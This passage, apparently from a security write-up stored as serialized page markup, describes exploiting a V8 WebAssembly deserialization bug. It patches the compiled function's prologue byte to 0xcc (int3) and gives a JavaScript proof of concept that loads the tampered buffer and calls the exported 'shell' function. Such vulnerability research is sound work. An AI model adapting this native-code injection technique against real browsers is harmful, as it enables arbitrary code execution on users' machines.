33,"children":135734},{"style":114},[135735],{"type":29,"value":381},{"type":24,"tag":90,"props":135737,"children":135738},{"class":92,"line":384},[135739],{"type":24,"tag":90,"props":135740,"children":135741},{"emptyLinePlaceholder":16},[135742],{"type":29,"value":245},{"type":24,"tag":90,"props":135744,"children":135745},{"class":92,"line":420},[135746,135750,135755,135759,135763],{"type":24,"tag":90,"props":135747,"children":135748},{"style":120},[135749],{"type":29,"value":58213},{"type":24,"tag":90,"props":135751,"children":135752},{"style":108},[135753],{"type":29,"value":135754},"WasmTierUpFunction",{"type":24,"tag":90,"props":135756,"children":135757},{"style":114},[135758],{"type":29,"value":117},{"type":24,"tag":90,"props":135760,"children":135761},{"style":136},[135762],{"type":29,"value":78130},{"type":24,"tag":90,"props":135764,"children":135765},{"style":114},[135766],{"type":29,"value":571},{"type":24,"tag":90,"props":135768,"children":135769},{"class":92,"line":428},[135770,135774,135779,135783,135788,135792,135796,135800],{"type":24,"tag":90,"props":135771,"children":135772},{"style":97},[135773],{"type":29,"value":36862},{"type":24,"tag":90,"props":135775,"children":135776},{"style":136},[135777],{"type":29,"value":135778}," serialized",{"type":24,"tag":90,"props":135780,"children":135781},{"style":120},[135782],{"type":29,"value":216},{"type":24,"tag":90,"props":135784,"children":135785},{"style":120},[135786],{"type":29,"value":135787}," %",{"type":24,"tag":90,"props":135789,"children":135790},{"style":108},[135791],{"type":29,"value":134786},{"type":24,"tag":90,"props":135793,"children":135794},{"style":114},[135795],{"type":29,"value":117},{"type":24,"tag":90,"props":135797,"children":135798},{"style":136},[135799],{"type":29,"value":135691},{"type":24,"tag":90,"props":135801,"children":135802},{"style":114},[135803],{"type":29,"value":571},{"type":24,"tag":90,"props":135805,"children":135806},{"class":92,"line":437},[135807,135811,135815,135819,135823,135827,135831,135836],{"type":24,"tag":90,"props":135808,"children":135809},{"style":97},[135810],{"type":29,"value":895},{"type":24,"tag":90,"props":135812,"children":135813},{"style":136},[135814],{"type":29,"value":11534},{"type":24,"tag":90,"props":135816,"children":135817},{"style":120},[135818],{"type":29,"value":216},{"type":24,"tag":90,"props":135820,"children":135821},{"style":97},[135822],{"type":29,"value":33746},{"type":24,"tag":90,"props":135824,"children":135825},{"style":108},[135826],{"type":29,"value":135297},{"type":24,"tag":90,"props":135828,"children":135829},{"style":114},[135830],{"type":29,"value":117},{"type":24,"tag":90,"props":135832,"children":135833},{"style":136},[135834],{"type":29,"value":135835},"serialized",{"type":24,"tag":90,"props":135837,"children":135838},{"style":114},[135839],{"type":29,"value":571},{"type":24,"tag":90,"props":135841,"children":135842},{"class":92,"line":574},[135843,135848,135852,135856,135860,135865,135869,135873,135877,135882,135886,135891,135895,135899,135904],{"type":24,"tag":90,"props":135844,"children":135845},{"style":136},[135846],{"type":29,"value":135847},"console",{"type":24,"tag":90,"props":135849,"children":135850},{"style":114},[135851],{"type":29,"value":226},{"type":24,"tag":90,"props":135853,"children":135854},{"style":108},[135855],{"type":29,"value":103783},{"type":24,"tag":90,"props":135857,"children":135858},{"style":114},[135859],{"type":29,"value":117},{"type":24,"tag":90,"props":135861,"children":135862},{"style":1085},[135863],{"type":29,"value":135864},"'['",{"type":24,"tag":90,"props":135866,"children":135867},{"style":120},[135868],{"type":29,"value":1714},{"type":24,"tag":90,"props":135870,"children":135871},{"style":136},[135872],{"type":29,"value":11534},{"type":24,"tag":90,"props":135874,"children":135875},{"style":114},[135876],{"type":29,"value":226},{"type":24,"tag":90,"props":135878,"children":135879},{"style":108},[135880],{"type":29,"value":135881},"join",{"type":24,"tag":90,"props":135883,"children":135884},{"style":114},[135885],{"type":29,"value":117},{"type":24,"tag":90,"props":135887,"children":135888},{"style":1085},[135889],{"type":29,"value":135890},"', '",{"type":24,"tag":90,"props":135892,"children":135893},{"style":114},[135894],{"type":29,"value":172},{"type":24,"tag":90,"props":135896,"children":135897},{"style":120},[135898],{"type":29,"value":6767},{"type":24,"tag":90,"props":135900,"children":135901},{"style":1085},[135902],{"type":29,"value":135903}," ']'",{"type":24,"tag":90,"props":135905,"children":135906},{"style":114},[135907],{"type":29,"value":571},{"type":24,"tag":25,"props":135909,"children":135910},{},[135911],{"type":29,"value":135912},"This produces the following output:",{"type":24,"tag":80,"props":135914,"children":135916},{"code":135915},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135917],{"type":24,"tag":32,"props":135918,"children":135919},{"__ignoreMap":7},[135920],{"type":29,"value":135915},{"type":24,"tag":25,"props":135922,"children":135923},{},[135924,135926,135932,135934,135940,135942,135948,135949,135955,135957,135962],{"type":29,"value":135925},"The bytes ",{"type":24,"tag":32,"props":135927,"children":135929},{"className":135928},[],[135930],{"type":29,"value":135931},"85, 72, 137, 229, ...",{"type":29,"value":135933}," correspond to the x86-64 function prologue (",{"type":24,"tag":32,"props":135935,"children":135937},{"className":135936},[],[135938],{"type":29,"value":135939},"push rbp; mov rbp, rsp",{"type":29,"value":135941},"). We replace the first byte with ",{"type":24,"tag":32,"props":135943,"children":135945},{"className":135944},[],[135946],{"type":29,"value":135947},"0xcc",{"type":29,"value":2972},{"type":24,"tag":32,"props":135950,"children":135952},{"className":135951},[],[135953],{"type":29,"value":135954},"int3",{"type":29,"value":135956}," opcode), and use this modified buffer as the serialized input to ",{"type":24,"tag":32,"props":135958,"children":135960},{"className":135959},[],[135961],{"type":29,"value":134760},{"type":29,"value":78},{"type":24,"tag":80,"props":135964,"children":135966},{"code":135965,"language":37431,"meta":7,"className":37429,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[135967],{"type":24,"tag":32,"props":135968,"children":135969},{"__ignoreMap":7},[135970,135993,136020,136240,136307,136315,136342,136556,136808,137059,137285,137529,137749,137756,137805,137850,137894,137933,137945],{"type":24,"tag":90,"props":135971,"children":135972},{"class":92,"line":93},[135973,135977,135981,135985,135989],{"type":24,"tag":90,"props":135974,"children":135975},{"style":114},[135976],{"type":29,"value":117},{"type":24,"tag":90,"props":135978,"children":135979},{"style":97},[135980],{"type":29,"value":37961},{"type":24,"tag":90,"props":135982,"children":135983},{"style":114},[135984],{"type":29,"value":41513},{"type":24,"tag":90,"props":135986,"children":135987},{"style":97},[135988],{"type":29,"value":1315},{"type":24,"tag":90,"props":135990,"children":135991},{"style":114},[135992],{"type":29,"value":269},{"type":24,"tag":90,"props":135994,"children":135995},{"class":92,"line":200},[135996,136000,136004,136008,136012,136016],{"type":24,"tag":90,"props":135997,"children":135998},{"style":97},[135999],{"type":29,"value":38004},{"type":24,"tag":90,"props":136001,"children":136002},{"style":136},[136003],{"type":29,"value":135284},{"type":24,"tag":90,"props":136005,"children":136006},{"style":120},[136007],{"type":29,"value":216},{"type":24,"tag":90,"props":136009,"children":136010},{"style":97},[136011],{"type":29,"value":33746},{"type":24,"tag":90,"props":136013,"children":136014},{"style":108},[136015],{"type":29,"value":135297},{"type":24,"tag":90,"props":136017,"children":136018},{"style":114},[136019],{"type":29,"value":135302},{"type":24,"tag":90,"props":136021,"children":136022},{"class":92,"line":239},[136023,136028,136032,136036,136040,136044,136048,136052,136056,136060,136064,136068,136072,136076,136080,136084,136088,136092,136096,136100,136104,136108,136112,136116,136120,136124,136128,136132,136136,136140,136144,136148,136152,136156,136160,136164,136168,136172,136176,136180,136184,136188,136192,136196,136200,136204,136208,136212,136216,136220,136224,136228,136232,136236],{"type":24,"tag":90,"props":136024,"children":136025},{"style":349},[136026],{"type":29,"value":136027}," 0",{"type":24,"tag":90,"props":136029,"children":136030},{"style":114},[136031],{"type":29,"value":133},{"type":24,"tag":90,"props":136033,"children":136034},{"style":349},[136035],{"type":29,"value":135319},{"type":24,"tag":90,"props":136037,"children":136038},{"style":114},[136039],{"type":29,"value":133},{"type":24,"tag":90,"props":136041,"children":136042},{"style":349},[136043],{"type":29,"value":135328},{"type":24,"tag":90,"props":136045,"children":136046},{"style":114},[136047],{"type":29,"value":133},{"type":24,"tag":90,"props":136049,"children":136050},{"style":349},[136051],{"type":29,"value":135337},{"type":24,"tag":90,"props":136053,"children":136054},{"style":114},[136055],{"type":29,"value":133},{"type":24,"tag":90,"props":136057,"children":136058},{"style":349},[136059],{"type":29,"value":534},{"type":24,"tag":90,"props":136061,"children":136062},{"style":114},[136063],{"type":29,"value":133},{"type":24,"tag":90,"props":136065,"children":136066},{"style":349},[136067],{"type":29,"value":6408},{"type":24,"tag":90,"props":136069,"children":136070},{"style":114},[136071],{"type":29,"value":133},{"type":24,"tag":90,"props":136073,"children":136074},{"style":349},[136075],{"type":29,"value":6408},{"type":24,"tag":90,"props":136077,"children":136078},{"style":114},[136079],{"type":29,"value":133},{"type":24,"tag":90,"props":136081,"children":136082},{"style":349},[136083],{"type":29,"value":6408},{"type":24,"tag":90,"props":136085,"children":136086},{"style":114},[136087],{"type":29,"value":133},{"type":24,"tag":90,"props":136089,"children":136090},{"style":349},[136091],{"type":29,"value":534},{"type":24,"tag":90,"props":136093,"children":136094},{"style":114},[136095],{"type":29,"value":133},{"type":24,"tag":90,"props":136097,"children":136098},{"style":349},[136099],{"type":29,"value":4051},{"type":24,"tag":90,"props":136101,"children":136102},{"style":114},[136103],{"type":29,"value":133},{"type":24,"tag":90,"props":136105,"children":136106},{"style":349},[136107],{"type":29,"value":534},{"type":24,"tag":90,"props":136109,"children":136110},{"style":114},[136111],{"type":29,"value":133},{"type":24,"tag":90,"props":136113,"children":136114},{"style":349},[136115],{"type":29,"value":135402},{"type":24,"tag":90,"props":136117,"children":136118},{"style":114},[136119],{"type":29,"value":133},{"type":24,"tag":90,"props":136121,"children":136122},{"style":349},[136123],{"type":29,"value":6408},{"type":24,"tag":90,"props":136125,"children":136126},{"style":114},[136127],{"type":29,"value":133},{"type":24,"tag":90,"props":136129,"children":136130},{"style":349},[136131],{"type":29,"value":6408},{"type":24,"tag":90,"props":136133,"children":136134},{"style":114},[136135],{"type":29,"value":133},{"type":24,"tag":90,"props":136137,"children":136138},{"style":349},[136139],{"type":29,"value":3817},{"type":24,"tag":90,"props":136141,"children":136142},{"style":114},[136143],{"type":29,"value":133},{"type":24,"tag":90,"props":136145,"children":136146},{"style":349},[136147],{"type":29,"value":3191},{"type":24,"tag":90,"props":136149,"children":136150},{"style":114},[136151],{"type":29,"value":133},{"type":24,"tag":90,"props":136153,"children":136154},{"style":349},[136155],{"type":29,"value":534},{"type":24,"tag":90,"props":136157,"children":136158},{"style":114},[136159],{"type":29,"value":133},{"type":24,"tag":90,"props":136161,"children":136162},{"style":349},[136163],{"type":29,"value":6408},{"type":24,"tag":90,"props":136165,"children":136166},{"style":114},[136167],{"type":29,"value":133},{"type":24,"tag":90,"props":136169,"children":136170},{"style":349},[136171],{"type":29,"value":56495},{"type":24,"tag":90,"props":136173,"children":136174},{"style":114},[136175],{"type":29,"value":133},{"type":24,"tag":90,"props":136177,"children":136178},{"style":349},[136179],{"type":29,"value":57710},{"type":24,"tag":90,"props":136181,"children":136182},{"style":114},[136183],{"type":29,"value":133},{"type":24,"tag":90,"props":136185,"children":136186},{"style":349},[136187],{"type":29,"value":534},{"type":24,"tag":90,"props":136189,"children":136190},{"style":114},[136191],{"type":29,"value":133},{"type":24,"tag":90,"props":136193,"children":136194},{"style":349},[136195],{"type":29,"value":4632},{"type":24,"tag":90,"props":136197,"children":136198},{"style":114},[136199],{"type":29,"value":133},{"type":24,"tag":90,"props":136201,"children":136202},{"style":349},[136203],{"type":29,"value":135328},{"type":24,"tag":90,"props":136205,"children":136206},{"style":114},[136207],{"type":29,"value":133},{"type":24,"tag":90,"props":136209,"children":136210},{"style":349},[136211],{"type":29,"value":135499},{"type":24,"tag":90,"props":136213,"children":136214},{"style":114},[136215],{"type":29,"value":133},{"type":24,"tag":90,"props":136217,"children":136218},{"style":349},[136219],{"type":29,"value":135508},{"type":24,"tag":90,"props":136221,"children":136222},{"style":114},[136223],{"type":29,"value":133},{"type":24,"tag":90,"props":136225,"children":136226},{"style":349},[136227],{"type":29,"value":135517},{"type":24,"tag":90,"props":136229,"children":136230},{"style":114},[136231],{"type":29,"value":133},{"type":24,"tag":90,"props":136233,"children":136234},{"style":349},[136235],{"type":29,"value":135517},{"type":24,"tag":90,"props":136237,"children":136238},{"style":114},[136239],{"type":29,"value":748},{"type":24,"tag":90,"props":136241,"children":136242},{"class":92,"line":248},[136243,136247,136251,136255,136259,136263,136267,136271,136275,136279,136283,136287,136291,136295,136299,136303],{"type":24,"tag":90,"props":136244,"children":136245},{"style":349},[136246],{"type":29,"value":136027},{"type":24,"tag":90,"props":136248,"children":136249},{"style":114},[136250],{"type":29,"value":133},{"type":24,"tag":90,"props":136252,"children":136253},{"style":349},[136254],{"type":29,"value":6408},{"type":24,"tag":90,"props":136256,"children":136257},{"style":114},[136258],{"type":29,"value":133},{"type":24,"tag":90,"props":136260,"children":136261},{"style":349},[136262],{"type":29,"value":91083},{"type":24,"tag":90,"props":136264,"children":136265},{"style":114},[136266],{"type":29,"value":133},{"type":24,"tag":90,"props":136268,"children":136269},{"style":349},[136270],{"type":29,"value":4051},{"type":24,"tag":90,"props":136272,"children":136273},{"style":114},[136274],{"type":29,"value":133},{"type":24,"tag":90,"props":136276,"children":136277},{"style":349},[136278],{"type":29,"value":534},{"type":24,"tag":90,"props":136280,"children":136281},{"style":114},[136282],{"type":29,"value":133},{"type":24,"tag":90,"props":136284,"children":136285},{"style":349},[136286],{"type":29,"value":3191},{"type":24,"tag":90,"props":136288,"children":136289},{"style":114},[136290],{"type":29,"value":133},{"type":24,"tag":90,"props":136292,"children":136293},{"style":349},[136294],{"type":29,"value":6408},{"type":24,"tag":90,"props":136296,"children":136297},{"style":114},[136298],{"type":29,"value":133},{"type":24,"tag":90,"props":136300,"children":136301},{"style":349},[136302],{"type":29,"value":135593},{"type":24,"tag":90,"props":136304,"children":136305},{"style":114},[136306],{"type":29,"value":748},{"type":24,"tag":90,"props":136308,"children":136309},{"class":92,"line":258},[136310],{"type":24,"tag":90,"props":136311,"children":136312},{"style":114},[136313],{"type":29,"value":136314}," ]);\n",{"type":24,"tag":90,"props":136316,"children":136317},{"class":92,"line":272},[136318,136322,136326,136330,136334,136338],{"type":24,"tag":90,"props":136319,"children":136320},{"style":97},[136321],{"type":29,"value":38004},{"type":24,"tag":90,"props":136323,"children":136324},{"style":136},[136325],{"type":29,"value":127097},{"type":24,"tag":90,"props":136327,"children":136328},{"style":120},[136329],{"type":29,"value":216},{"type":24,"tag":90,"props":136331,"children":136332},{"style":97},[136333],{"type":29,"value":33746},{"type":24,"tag":90,"props":136335,"children":136336},{"style":108},[136337],{"type":29,"value":135297},{"type":24,"tag":90,"props":136339,"children":136340},{"style":114},[136341],{"type":29,"value":135302},{"type":24,"tag":90,"props":136343,"children":136344},{"class":92,"line":281},[136345,136350,136354,136358,136362,136367,136371,136376,136380,136385,136389,136394,136398,136403,136407,136412,136416,136421,136425,136430,136434,136438,136442,136446,136450,136455,136459,136464,136468,136472,136476,136480,136484,136488,136492,136496,136500,136504,136508,136512,136516,136520,136524,136528,136532,136536,136540,136544,136548,136552],{"type":24,"tag":90,"props":136346,"children":136347},{"style":349},[136348],{"type":29,"value":136349}," 147",{"type":24,"tag":90,"props":136351,"children":136352},{"style":114},[136353],{"type":29,"value":133},{"type":24,"tag":90,"props":136355,"children":136356},{"style":349},[136357],{"type":29,"value":4945},{"type":24,"tag":90,"props":136359,"children":136360},{"style":114},[136361],{"type":29,"value":133},{"type":24,"tag":90,"props":136363,"children":136364},{"style":349},[136365],{"type":29,"value":136366},"222",{"type":24,"tag":90,"props":136368,"children":136369},{"style":114},[136370],{"type":29,"value":133},{"type":24,"tag":90,"props":136372,"children":136373},{"style":349},[136374],{"type":29,"value":136375},"192",{"type":24,"tag":90,"props":136377,"children":136378},{"style":114},[136379],{"type":29,"value":133},{"type":24,"tag":90,"props":136381,"children":136382},{"style":349},[136383],{"type":29,"value":136384},"20",{"type":24,"tag":90,"props":136386,"children":136387},{"style":114},[136388],{"type":29,"value":133},{"type":24,"tag":90,"props":136390,"children":136391},{"style":349},[136392],{"type":29,"value":136393},"119",{"type":24,"tag":90,"props":136395,"children":136396},{"style":114},[136397],{"type":29,"value":133},{"type":24,"tag":90,"props":136399,"children":136400},{"style":349},[136401],{"type":29,"value":136402},"44",{"type":24,"tag":90,"props":136404,"children":136405},{"style":114},[136406],{"type":29,"value":133},{"type":24,"tag":90,"props":136408,"children":136409},{"style":349},[136410],{"type":29,"value":136411},"43",{"type":24,"tag":90,"props":136413,"children":136414},{"style":114},[136415],{"type":29,"value":133},{"type":24,"tag":90,"props":136417,"children":136418},{"style":349},[136419],{"type":29,"value":136420},"127",{"type":24,"tag":90,"props":136422,"children":136423},{"style":114},[136424],{"type":29,"value":133},{"type":24,"tag":90,"props":136426,"children":136427},{"style":349},[136428],{"type":29,"value":136429},"62",{"type":24,"tag":90,"props":136431,"children":136432},{"style":114},[136433],{"type":29,"value":133},{"type":24,"tag":90,"props":136435,"children":136436},{"style":349},[136437],{"type":29,"value":3817},{"type":24,"tag":90,"props":136439,"children":136440},{"style":114},[136441],{"type":29,"value":133},{"type":24,"tag":90,"props":136443,"children":136444},{"style":349},[136445],{"type":29,"value":6408},{"type":24,"tag":90,"props":136447,"children":136448},{"style":114},[136449],{"type":29,"value":133},{"type":24,"tag":90,"props":136451,"children":136452},{"style":349},[136453],{"type":29,"value":136454},"159",{"type":24,"tag":90,"props":136456,"children":136457},{"style":114},[136458],{"type":29,"value":133},{"type":24,"tag":90,"props":136460,"children":136461},{"style":349},[136462],{"type":29,"value":136463},"206",{"type":24,"tag":90,"props":136465,"children":136466},{"style":114},[136467],{"type":29,"value":133},{"type":24,"tag":90,"props":136469,"children":136470},{"style":349},[136471],{"type":29,"value":45971},{"type":24,"tag":90,"props":136473,"children":136474},{"style":114},[136475],{"type":29,"value":133},{"type":24,"tag":90,"props":136477,"children":136478},{"style":349},[136479],{"type":29,"value":136411},{"type":24,"tag":90,"props":136481,"children":136482},{"style":114},[136483],{"type":29,"value":133},{"type":24,"tag":90,"props":136485,"children":136486},{"style":349},[136487],{"type":29,"value":6408},{"type":24,"tag":90,"props":136489,"children":136490},{"style":114},[136491],{"type":29,"value":133},{"type":24,"tag":90,"props":136493,"children":136494},{"style":349},[136495],{"type":29,"value":6408},{"type":24,"tag":90,"props":136497,"children":136498},{"style":114},[136499],{"type":29,"value":133},{"type":24,"tag":90,"props":136501,"children":136502},{"style":349},[136503],{"type":29,"value":3817},{"type":24,"tag":90,"props":136505,"children":136506},{"style":114},[136507],{"type":29,"value":133},{"type":24,"tag":90,"props":136509,"children":136510},{"style":349},[136511],{"type":29,"value":6408},{"type":24,"tag":90,"props":136513,"children":136514},{"style":114},[136515],{"type":29,"value":133},{"type":24,"tag":90,"props":136517,"children":136518},{"style":349},[136519],{"type":29,"value":6408},{"type":24,"tag":90,"props":136521,"children":136522},{"style":114},[136523],{"type":29,"value":133},{"type":24,"tag":90,"props":136525,"children":136526},{"style":349},[136527],{"type":29,"value":6408},{"type":24,"tag":90,"props":136529,"children":136530},{"style":114},[136531],{"type":29,"value":133},{"type":24,"tag":90,"props":136533,"children":136534},{"style":349},[136535],{"type":29,"value":6408},{"type":24,"tag":90,"props":136537,"children":136538},{"style":114},[136539],{"type":29,"value":133},{"type":24,"tag":90,"props":136541,"children":136542},{"style":349},[136543],{"type":29,"value":6408},{"type":24,"tag":90,"props":136545,"children":136546},{"style":114},[136547],{"type":29,"value":133},{"type":24,"tag":90,"props":136549,"children":136550},{"style":349},[136551],{"type":29,"value":31234},{"type":24,"tag":90,"props":136553,"children":136554},{"style":114},[136555],{"type":29,"value":748},{"type":24,"tag":90,"props":136557,"children":136558},{"class":92,"line":384},[136559,136563,136567,136571,136575,136579,136583,136587,136591,136595,136599,136603,136607,136611,136615,136619,136623,136627,136631,136635,136639,136643,136647,136651,136655,136659,136663,136667,136671,136675,136679,136683,136687,136691,136695,136700,136704,136708,136712,136716,136720,136724,136728,136732,136736,136740,136744,136748,136752,136756,136760,136764,136768,136772,136776,136780,136784,136788,136792,136796,136800,136804],{"type":24,"tag":90,"props":136560,"children":136561},{"style":349},[136562],{"type":29,"value":136027},{"type":24,"tag":90,"props":136564,"children":136565},{"style":114},[136566],{"type":29,"value":133},{"type":24,"tag":90,"props":136568,"children":136569},{"style":349},[136570],{"type":29,"value":6408},{"type":24,"tag":90,"props":136572,"children":136573},{"style":114},[136574],{"type":29,"value":133},{"type":24,"tag":90,"props":136576,"children":136577},{"style":349},[136578],{"type":29,"value":6408},{"type":24,"tag":90,"props":136580,"children":136581},{"style":114},[136582],{"type":29,"value":133},{"type":24,"tag":90,"props":136584,"children":136585},{"style":349},[136586],{"type":29,"value":6408},{"type":24,"tag":90,"props":136588,"children":136589},{"style":114},[136590],{"type":29,"value":133},{"type":24,"tag":90,"props":136592,"children":136593},{"style":349},[136594],{"type":29,"value":6408},{"type":24,"tag":90,"props":136596,"children":136597},{"style":114},[136598],{"type":29,"value":133},{"type":24,"tag":90,"props":136600,"children":136601},{"style":349},[136602],{"type":29,"value":6408},{"type":24,"tag":90,"props":136604,"children":136605},{"style":114},[136606],{"type":29,"value":133},{"type":24,"tag":90,"props":136608,"children":136609},{"style":349},[136610],{"type":29,"value":6408},{"type":24,"tag":90,"props":136612,"children":136613},{"style":114},[136614],{"type":29,"value":133},{"type":24,"tag":90,"props":136616,"children":136617},{"style":349},[136618],{"type":29,"value":534},{"type":24,"tag":90,"props":136620,"children":136621},{"style":114},[136622],{"type":29,"value":133},{"type":24,"tag":90,"props":136624,"children":136625},{"style":349},[136626],{"type":29,"value":6408},{"type":24,"tag":90,"props":136628,"children":136629},{"style":114},[136630],{"type":29,"value":133},{"type":24,"tag":90,"props":136632,"children":136633},{"style":349},[136634],{"type":29,"value":6408},{"type":24,"tag":90,"props":136636,"children":136637},{"style":114},[136638],{"type":29,"value":133},{"type":24,"tag":90,"props":136640,"children":136641},{"style":349},[136642],{"type":29,"value":6408},{"type":24,"tag":90,"props":136644,"children":136645},{"style":114},[136646],{"type":29,"value":133},{"type":24,"tag":90,"props":136648,"children":136649},{"style":349},[136650],{"type":29,"value":6408},{"type":24,"tag":90,"props":136652,"children":136653},{"style":114},[136654],{"type":29,"value":133},{"type":24,"tag":90,"props":136656,"children":136657},{"style":349},[136658],{"type":29,"value":6408},{"type":24,"tag":90,"props":136660,"children":136661},{"style":114},[136662],{"type":29,"value":133},{"type":24,"tag":90,"props":136664,"children":136665},{"style":349},[136666],{"type":29,"value":6408},{"type":24,"tag":90,"props":136668,"children":136669},{"style":114},[136670],{"type":29,"value":133},{"type":24,"tag":90,"props":136672,"children":136673},{"style":349},[136674],{"type":29,"value":6408},{"type":24,"tag":90,"props":136676,"children":136677},{"style":114},[136678],{"type":29,"value":133},{"type":24,"tag":90,"props":136680,"children":136681},{"style":349},[136682],{"type":29,"value":6408},{"type":24,"tag":90,"props":136684,"children":136685},{"style":114},[136686],{"type":29,"value":133},{"type":24,"tag":90,"props":136688,"children":136689},{"style":349},[136690],{"type":29,"value":4051},{"type":24,"tag":90,"props":136692,"children":136693},{"style":114},[136694],{"type":29,"value":133},{"type":24,"tag":90,"props":136696,"children":136697},{"style":349},[136698],{"type":29,"value":136699},"28",{"type":24,"tag":90,"props":136701,"children":136702},{"style":114},[136703],{"type":29,"value":133},{"type":24,"tag":90,"props":136705,"children":136706},{"style":349},[136707],{"type":29,"value":6408},{"type":24,"tag":90,"props":136709,"children":136710},{"style":114},[136711],{"type":29,"value":133},{"type":24,"tag":90,"props":136713,"children":136714},{"style":349},[136715],{"type":29,"value":6408},{"type":24,"tag":90,"props":136717,"children":136718},{"style":114},[136719],{"type":29,"value":133},{"type":24,"tag":90,"props":136721,"children":136722},{"style":349},[136723],{"type":29,"value":6408},{"type":24,"tag":90,"props":136725,"children":136726},{"style":114},[136727],{"type":29,"value":133},{"type":24,"tag":90,"props":136729,"children":136730},{"style":349},[136731],{"type":29,"value":42664},{"type":24,"tag":90,"props":136733,"children":136734},{"style":114},[136735],{"type":29,"value":133},{"type":24,"tag":90,"props":136737,"children":136738},{"style":349},[136739],{"type":29,"value":6408},{"type":24,"tag":90,"props":136741,"children":136742},{"style":114},[136743],{"type":29,"value":133},{"type":24,"tag":90,"props":136745,"children":136746},{"style":349},[136747],{"type":29,"value":6408},{"type":24,"tag":90,"props":136749,"children":136750},{"style":114},[136751],{"type":29,"value":133},{"type":24,"tag":90,"props":136753,"children":136754},{"style":349},[136755],{"type":29,"value":6408},{"type":24,"tag":90,"props":136757,"children":136758},{"style":114},[136759],{"type":29,"value":133},{"type":24,"tag":90,"props":136761,"children":136762},{"style":349},[136763],{"type":29,"value":136699},{"type":24,"tag":90,"props":136765,"children":136766},{"style":114},[136767],{"type":29,"value":133},{"type":24,"tag":90,"props":136769,"children":136770},{"style":349},[136771],{"type":29,"value":6408},{"type":24,"tag":90,"props":136773,"children":136774},{"style":114},[136775],{"type":29,"value":133},{"type":24,"tag":90,"props":136777,"children":136778},{"style":349},[136779],{"type":29,"value":6408},{"type":24,"tag":90,"props":136781,"children":136782},{"style":114},[136783],{"type":29,"value":133},{"type":24,"tag":90,"props":136785,"children":136786},{"style":349},[136787],{"type":29,"value":6408},{"type":24,"tag":90,"props":136789,"children":136790},{"style":114},[136791],{"type":29,"value":133},{"type":24,"tag":90,"props":136793,"children":136794},{"style":349},[136795],{"type":29,"value":136699},{"type":24,"tag":90,"props":136797,"children":136798},{"style":114},[136799],{"type":29,"value":133},{"type":24,"tag":90,"props":136801,"children":136802},{"style":349},[136803],{"type":29,"value":6408},{"type":24,"tag":90,"props":136805,"children":136806},{"style":114},[136807],{"type":29,"value":748},{"type":24,"tag":90,"props":136809,"children":136810},{"class":92,"line":420},[136811,136815,136819,136823,136827,136831,136835,136839,136843,136847,136851,136855,136859,136863,136867,136871,136875,136879,136883,136887,136891,136895,136899,136903,136907,136911,136915,136919,136923,136927,136931,136935,136939,136943,136947,136951,136955,136959,136963,136967,136971,136975,136979,136983,136987,136991,136995,136999,137003,137007,137011,137015,137019,137023,137027,137031,137035,137039,137043,137047,137051,137055],{"type":24,"tag":90,"props":136812,"children":136813},{"style":349},[136814],{"type":29,"value":136027},{"type":24,"tag":90,"props":136816,"children":136817},{"style":114},[136818],{"type":29,"value":133},{"type":24,"tag":90,"props":136820,"children":136821},{"style":349},[136822],{"type":29,"value":6408},{"type":24,"tag":90,"props":136824,"children":136825},{"style":114},[136826],{"type":29,"value":133},{"type":24,"tag":90,"props":136828,"children":136829},{"style":349},[136830],{"type":29,"value":136699},{"type":24,"tag":90,"props":136832,"children":136833},{"style":114},[136834],{"type":29,"value":133},{"type":24,"tag":90,"props":136836,"children":136837},{"style":349},[136838],{"type":29,"value":6408},{"type":24,"tag":90,"props":136840,"children":136841},{"style":114},[136842],{"type":29,"value":133},{"type":24,"tag":90,"props":136844,"children":136845},{"style":349},[136846],{"type":29,"value":6408},{"type":24,"tag":90,"props":136848,"children":136849},{"style":114},[136850],{"type":29,"value":133},{"type":24,"tag":90,"props":136852,"children":136853},{"style":349},[136854],{"type":29,"value":6408},{"type":24,"tag":90,"props":136856,"children":136857},{"style":114},[136858],{"type":29,"value":133},{"type":24,"tag":90,"props":136860,"children":136861},{"style":349},[136862],{"type":29,"value":4051},{"type":24,"tag":90,"props":136864,"children":136865},{"style":114},[136866],{"t